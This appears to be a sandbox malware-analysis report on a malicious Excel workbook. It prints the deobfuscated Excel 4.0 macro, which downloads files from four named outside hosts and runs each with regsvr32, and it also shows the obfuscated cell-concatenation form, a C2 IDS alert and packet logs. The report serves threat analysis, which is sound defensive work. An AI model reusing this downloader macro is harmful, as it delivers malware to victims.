Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G y d a r . . . . . . . . . . . G y d a r . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . Z x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 210174

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	210174
Entropy:	7.334559302852785
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . G y d a r B . . . . a . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . - . B . 0 . . . = . 8 . 3 . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 8 . . . . . . . X . @ . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 00 47 79 64 61 72 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	Sheet6
Extraction:	dynamic
Type:	4
Final:	False
Visible:	False
Protected:	False
12,6,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sat7ate.com/wordpress/ZAf5j4MG8Hwnig/","..\oxnv1.ooccxx",0,0)",G16)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv1.ooccxx")",G18)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.spinbalence.com/Adapter/moycMR/","..\oxnv2.ooccxx",0,0)",G20)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv2.ooccxx")",G22)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.3d-stickers.com/Content/Afa1PcRuxh/","..\oxnv3.ooccxx",0,0)",G24)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv3.ooccxx")",G26)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://navylin.com/bsavxiv/axHQYKl/","..\oxnv4.ooccxx",0,0)",G28)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv4.ooccxx")",G30)=FORMULA("=RETURN()",G36)

Name:	Sheet6
Extraction:	dynamic
Type:	4
Final:	False
Visible:	False
Protected:	False
12,6,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sat7ate.com/wordpress/ZAf5j4MG8Hwnig/","..\oxnv1.ooccxx",0,0)",G16)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv1.ooccxx")",G18)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.spinbalence.com/Adapter/moycMR/","..\oxnv2.ooccxx",0,0)",G20)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv2.ooccxx")",G22)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.3d-stickers.com/Content/Afa1PcRuxh/","..\oxnv3.ooccxx",0,0)",G24)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv3.ooccxx")",G26)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://navylin.com/bsavxiv/axHQYKl/","..\oxnv4.ooccxx",0,0)",G28)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe"&Sheet3!P21&" ..\oxnv4.ooccxx")",G30)=FORMULA("=RETURN()",G36) 15,6,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sat7ate.com/wordpress/ZAf5j4MG8Hwnig/","..\oxnv1.ooccxx",0,0) 17,6,=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx") 19,6,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.spinbalence.com/Adapter/moycMR/","..\oxnv2.ooccxx",0,0) 21,6,=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx") 23,6,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.3d-stickers.com/Content/Afa1PcRuxh/","..\oxnv3.ooccxx",0,0) 25,6,=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx") 27,6,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://navylin.com/bsavxiv/axHQYKl/","..\oxnv4.ooccxx",0,0) 29,6,=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx") 35,6,=RETURN()

Name:	Sheet6, Macrosheet
Extraction:	static
Type:	unknown
Final:	unknown
Visible:	True
Protected:	unknown
SHEET: Sheet6, Macrosheet CELL:G13, =(((((((FORMULA((((((((((((('Sheet1'!L24&'Sheet1'!L26)&'Sheet1'!L27)&'Sheet1'!L28)&'Sheet1'!L28)&'Sheet2'!F6)&'Sheet2'!N19)&'Sheet1'!F10)&'Sheet2'!R3)&'Sheet5'!Q21)&'Sheet2'!F26)&'Sheet3'!R13)&'Sheet5'!E9)&'Sheet3'!M26,G16)=FORMULA((((((((((((((((((('Sheet1'!L24&'Sheet1'!G8)&'Sheet1'!F4)&'Sheet1'!G8)&'Sheet1'!L26)&'Sheet1'!L30)&'Sheet1'!F24)&'Sheet1'!L26)&'Sheet3'!F19)&'Sheet3'!D5)&'Sheet1'!A4)&'Sheet3'!J14)&'Sheet1'!A4)&'Sheet3'!C32)&'Sheet1'!F10)&'Sheet3'!P21)&'Sheet3'!L8)&'Sheet5'!E9)&'Sheet1'!F24)&'Sheet1'!L31,G18))=FORMULA((((((((((((('Sheet1'!L24&'Sheet1'!L26)&'Sheet1'!L27)&'Sheet1'!L28)&'Sheet1'!L28)&'Sheet2'!F6)&'Sheet2'!N19)&'Sheet1'!F10)&'Sheet2'!R3)&'Sheet5'!Q21)&'Sheet2'!G28)&'Sheet3'!R13)&'Sheet5'!G15)&'Sheet3'!M26,G20))=FORMULA((((((((((((((((((('Sheet1'!L24&'Sheet1'!G8)&'Sheet1'!F4)&'Sheet1'!G8)&'Sheet1'!L26)&'Sheet1'!L30)&'Sheet1'!F24)&'Sheet1'!L26)&'Sheet3'!F19)&'Sheet3'!D5)&'Sheet1'!A4)&'Sheet3'!J14)&'Sheet1'!A4)&'Sheet3'!C32)&'Sheet1'!F10)&'Sheet3'!P21)&'Sheet3'!L8)&'Sheet5'!G15)&'Sheet1'!F24)&'Sheet1'!L31,G22))=FORMULA((((((((((((('Sheet1'!L24&'Sheet1'!L26)&'Sheet1'!L27)&'Sheet1'!L28)&'Sheet1'!L28)&'Sheet2'!F6)&'Sheet2'!N19)&'Sheet1'!F10)&'Sheet2'!R3)&'Sheet5'!Q21)&'Sheet2'!I27)&'Sheet3'!R13)&'Sheet5'!J3)&'Sheet3'!M26,G24))=FORMULA((((((((((((((((((('Sheet1'!L24&'Sheet1'!G8)&'Sheet1'!F4)&'Sheet1'!G8)&'Sheet1'!L26)&'Sheet1'!L30)&'Sheet1'!F24)&'Sheet1'!L26)&'Sheet3'!F19)&'Sheet3'!D5)&'Sheet1'!A4)&'Sheet3'!J14)&'Sheet1'!A4)&'Sheet3'!C32)&'Sheet1'!F10)&'Sheet3'!P21)&'Sheet3'!L8)&'Sheet5'!J3)&'Sheet1'!F24)&'Sheet1'!L31,G26))=FORMULA((((((((((((('Sheet1'!L24&'Sheet1'!L26)&'Sheet1'!L27)&'Sheet1'!L28)&'Sheet1'!L28)&'Sheet2'!F6)&'Sheet2'!N19)&'Sheet1'!F10)&'Sheet2'!R3)&'Sheet5'!Q21)&'Sheet2'!J29)&'Sheet3'!R13)&'Sheet5'!L12)&'Sheet3'!M26,G28))=FORMULA((((((((((((((((((('Sheet1'!L24&'Sheet1'!G8)&'Sheet1'!F4)&'Sheet1'!G8)&'Sheet1'!L26)&'Sheet1'!L30)&'Sheet1'!F24)&'Sheet1'!L26)&'Sheet3'!F19)&'Sheet3'!D5)&'Sheet1'!A4)&'Sheet3'!J14)&'Sheet1'!A4)&'Sheet3'!C32)&'Sheet1'!F10)&'Sheet3'!P21)&'Sheet3'!L8)&'Sheet5'!L12)&'Sheet1'!F24)&'Sheet1'!L31,G30))=FORMULA((('Sheet1'!L24&'Sheet1'!G44)&'Sheet1'!H46)&'Sheet1'!J44,G36), 0

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.22218.38.121.17491804432404328 11/15/22-12:44:34.987459	TCP	2404328	ET CNC Feodo Tracker Reported CnC Server TCP group 15	49180	443	192.168.2.22	218.38.121.17

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2022 12:43:48.896744967 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:48.924519062 CET	80	49173	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:48.924680948 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:48.924941063 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.059000969 CET	80	49173	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.175769091 CET	80	49173	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.175973892 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.197150946 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.197247028 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.197365046 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.206044912 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.206103086 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.312062025 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.312254906 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.321223974 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.321261883 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.321779013 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.321868896 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.604454994 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.604516983 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.711946011 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.712014914 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.712037086 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.712057114 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.712088108 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.712114096 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.750016928 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.750058889 CET	443	49174	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.750092030 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.750108957 CET	49174	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.751055956 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.751118898 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.751180887 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.751363039 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.751378059 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.814203024 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.814301968 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.822736025 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.822768927 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:49.853514910 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:49.853539944 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.169955015 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.170157909 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.170188904 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.170248032 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.198544025 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.198604107 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.198695898 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.198731899 CET	443	49175	163.172.115.127	192.168.2.22
Nov 15, 2022 12:43:50.198852062 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.202442884 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.202486038 CET	49175	443	192.168.2.22	163.172.115.127
Nov 15, 2022 12:43:50.356827021 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.384488106 CET	80	49176	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.384563923 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.384752989 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.502834082 CET	80	49176	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.502966881 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.526437998 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.526488066 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.526627064 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.527003050 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.527031898 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.807878017 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.808072090 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.834065914 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.834100962 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.834559917 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.834657907 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.845236063 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.845251083 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.978935957 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.979039907 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.979135036 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.979163885 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.997932911 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.997978926 CET	443	49177	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.997992039 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.998038054 CET	49177	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.998893976 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.998948097 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:50.999017000 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.999226093 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:50.999237061 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.058146000 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.058315039 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.065999985 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.066024065 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.069143057 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.069154978 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.599956989 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.600119114 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.600148916 CET	443	49178	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:51.600219011 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.669475079 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:51.669512987 CET	49178	443	192.168.2.22	163.172.108.69
Nov 15, 2022 12:43:52.393383980 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.624022007 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.624263048 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.624563932 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.850744009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860481024 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860568047 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860624075 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860632896 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860663891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860663891 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860665083 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860707045 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860707045 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860779047 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860785961 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860819101 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860825062 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860862017 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860865116 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860899925 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860905886 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.860944986 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:52.860949993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:52.861000061 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089344978 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089381933 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089401007 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089420080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089437962 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089457989 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089476109 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089478016 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089494944 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089512110 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089512110 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089524031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089529037 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089544058 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089555979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089560986 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089571953 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089577913 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089587927 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089596033 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089602947 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089612961 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089627981 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089631081 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089643955 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089648008 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089660883 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089664936 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089675903 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089682102 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089694977 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089699030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089706898 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.089718103 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.089746952 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317372084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317413092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317437887 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317461014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317483902 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317507029 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317508936 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317528009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317536116 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317543030 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317552090 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317557096 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317572117 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317583084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317598104 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317610979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317614079 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317630053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317631960 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317643881 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317645073 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317655087 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317661047 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317670107 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317678928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317683935 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317702055 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317706108 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317724943 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317729950 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317747116 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317749977 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317770958 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317773104 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317792892 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317795992 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317814112 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317817926 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317836046 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317842007 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317857981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317867041 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317879915 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317887068 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317900896 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317907095 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317923069 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317929983 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317946911 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.317950964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.317972898 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.386388063 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.612766027 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612801075 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612817049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612833977 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612850904 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612874031 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612898111 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612919092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612931013 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612943888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612960100 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612958908 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.612972975 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.612987995 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:53.612991095 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613007069 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:53.613023043 CET	80	49179	47.92.133.65	192.168.2.22
